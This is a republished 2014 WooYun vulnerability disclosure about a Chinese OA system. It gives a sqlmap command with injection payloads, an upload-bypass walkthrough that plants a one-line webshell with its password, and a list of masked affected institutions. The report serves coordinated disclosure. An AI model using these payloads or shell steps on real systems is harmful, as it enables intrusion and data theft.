某OA系统SQL注射+后台getshell

admin
admin
admin
140846
文章
117
评论
2015年4月21日21:37:10评论469 views字数 254阅读0分50秒阅读模式
摘要

2014-07-06： 细节已通知厂商并且等待厂商处理中
2014-07-09： 厂商已经确认，细节仅向厂商公开
2014-07-12： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-09-02： 细节向核心白帽子及相关领域专家公开
2014-09-12： 细节向普通白帽子公开
2014-09-22： 细节向实习白帽子公开
2014-10-02： 细节向公众公开

漏洞概要 关注数(18) 关注此漏洞

缺陷编号： WooYun-2014-67430

漏洞标题： 某OA系统SQL注射+后台getshell 某OA系统SQL注射+后台getshell

相关厂商： cncert国家互联网应急中心

漏洞作者： 超威蓝猫

提交时间： 2014-07-06 20:44

公开时间： 2014-10-02 20:46

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 15

漏洞状态： 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 任意文件上传 SQL注射 任意文件上传

1人收藏

漏洞详情

披露状态：

2014-07-06： 细节已通知厂商并且等待厂商处理中
2014-07-09： 厂商已经确认，细节仅向厂商公开
2014-07-12： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航、无声信息）
2014-09-02： 细节向核心白帽子及相关领域专家公开
2014-09-12： 细节向普通白帽子公开
2014-09-22： 细节向实习白帽子公开
2014-10-02： 细节向公众公开

简要描述：

某OA系统SQL注射+后台getshell 第一次提交通用型漏洞 好紧张啊[拜拜]

详细说明：

列出几个能通过搜索引擎搜到的实例:

code 区域 
http://**.**.**.**/login.asp 天津外国语大学
 http://**.**.**.**/login.asp 天津财经大学
 http://**.**.**.**/vos/login.asp 上海环境物流有限公司
 http://**.**.**.**/login.asp 科云建筑有限公司
 http://**.**.**.**/login.asp  上海环境实业有限公司
 http://**.**.**.**/login.asp 上海水域环境发展有限公司
 http://**.**.**.**/oa/  抚州市实验学校
 **.**.**.**/login.asp  天津农学院
 **.**.**.**/login.asp  天津音乐学院
 **.**.**.**:8086/  淮南市行政管理执法局
 **.**.**.**/login.asp  大同煤矿集团
 **.**.**.**/login.asp  德林义肢
 **.**.**.**/login.asp  上海市市容环境卫生汽车运输处

【SQL注射】

这套OA系统登陆页存在SQL注射，测试了几个发现后端均为MSSQL，且大部分可以--os-shell执行命令。

注射点:

code 区域 
http://VICTIM.COM/loginverify.asp

POST数据:

code 区域 
Digest=&urlFrom=&username=admin&password=admin&Memo=1

username参数存在SQL注射。

实例:

code 区域 
sqlmap.py -u "http://**.**.**.**/loginverify.asp" --data "Digest=&urlFrom=&username=admin&password=admin&Memo=1" -p username
code 区域 
sqlmap identified the following injection points with a total of 90 HTTP(s) requests:
 ---
 Place: POST
 Parameter: username
     Type: error-based
     Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
     Payload: Digest=&urlFrom=&username=admin' AND 2836=CONVERT(INT,(SELECT CHAR(113)+CHAR(111)+CHAR(120)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (2836=2836) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(103)+CHAR(108)+CHAR(100)+CHAR(113))) AND 'HQUn'='HQUn&password=admin&Memo=1
 
     Type: stacked queries
     Title: Microsoft SQL Server/Sybase stacked queries
     Payload: Digest=&urlFrom=&username=admin'; WAITFOR DELAY '0:0:5'--&password=admin&Memo=1
 
     Type: AND/OR time-based blind
     Title: Microsoft SQL Server/Sybase time-based blind
     Payload: Digest=&urlFrom=&username=admin' WAITFOR DELAY '0:0:5'--&password=admin&Memo=1
 ---
 web server operating system: Windows 2003 or XP
 web application technology: ASP.NET, Microsoft IIS 6.0, ASP
 back-end DBMS: Microsoft SQL Server 2005

sqlmap --dbs后均可发现叫做"HaiTianOA"的库，其中的"VO_UserInfor"表储存了可用于登录的管理员的帐号与密码(多数有sa/sa。有的密码是明文的，有的是BASE64加密的)。

请CNCERT自行验证更多实例。

【后台getshell】

以sa/sa登录上海市市容环境卫生汽车运输处(**.**.**.**/)为例

登录后点击"资讯内容维护"-"修改"

某OA系统SQL注射+后台getshell

在编辑器中点击添加图片按钮，打开了"http://VICTIM.COM/ckeditor/tupianadd.asp"

某OA系统SQL注射+后台getshell

将一句话木马的后缀修改为.jpg 上传，抓包并去掉.jpg

某OA系统SQL注射+后台getshell

虽然返回HTTP500，但实际已经上传成功。

某OA系统SQL注射+后台getshell

拼接可得到一句话木马地址: **.**.**.**/file/images/20147408067349.asp 密码helo

菜刀连接:

某OA系统SQL注射+后台getshell

漏洞证明：

如上。

上面仅各举一例作证明，请CNCERT自行验证更多

修复方案：

你们更专业^ ^

版权声明：转载请注明来源 超威蓝猫@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：18

确认时间：2014-07-09 15:41

厂商回复：

CNVD确认所述漏洞，（由上海交大协助完成验证），转由CNCERT向教育应急组织-赛尔网络公司通报，抄报CCERT。

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2014-07-04 20:47 | Hero ( 普通白帽子 | Rank:162 漏洞数:53 | 药药切克闹,充气娃娃迷幻药)

    1

    打破零回复

  2. 2014-07-04 22:12 | mramydnei ( 普通白帽子 | Rank:400 漏洞数:87 )

    0

    2条评论了已经

  3. 2014-07-05 00:40 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )

    0

    3楼是逗B

  4. 2014-07-05 09:51 | Moc ( 路人 | Rank:23 漏洞数:12 | 屌丝何苦为难屌丝)

    0

    力挺3楼

  5. 2014-07-09 16:22 | losthacker ( 路人 | Rank:12 漏洞数:1 | 我是好人 (PS:为什么...)

    0

    4楼说的好

  6. 2014-08-09 22:47 | U神 ( 核心白帽子 | Rank:1375 漏洞数:152 | 乌云核心菜鸟，此号处于联盟托管中....)

    0

    原来是这个OA系统，库带已刷烂

  7. 2014-08-10 00:55 | 大白菜 ( 实习白帽子 | Rank:52 漏洞数:19 )

    0

    ...谁说的3楼是逗B。。。。

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin